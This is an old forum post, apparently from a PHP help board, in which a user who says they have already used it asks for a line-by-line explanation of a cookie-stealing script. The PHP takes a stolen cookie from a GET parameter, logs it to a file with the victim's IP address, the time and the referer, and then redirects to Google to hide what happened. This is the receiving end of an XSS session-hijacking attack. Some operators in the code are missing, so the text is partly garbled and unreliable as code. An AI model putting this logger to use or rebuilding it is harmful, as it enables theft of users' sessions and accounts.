logo
Published on Code2Design (http://code2design.com)

php help...

By ixss
Created Jul 29 2007 - 12:43pm

hi experts, can you help please explain every line of code in this php script? thanks.

<?php
$cookie 
$_GET['cookie'];
$ip getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl fopen('log.txt''a');
fwrite($fl"\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
header("Location: http://google.com");
?>

i know what the script does and i have used it, i just don't know how it works... so any help would be appreciated.

‹ Cannot connect mysql.sock(2) [0] Error trap › [0]

Source URL:
http://code2design.com/forums/php_help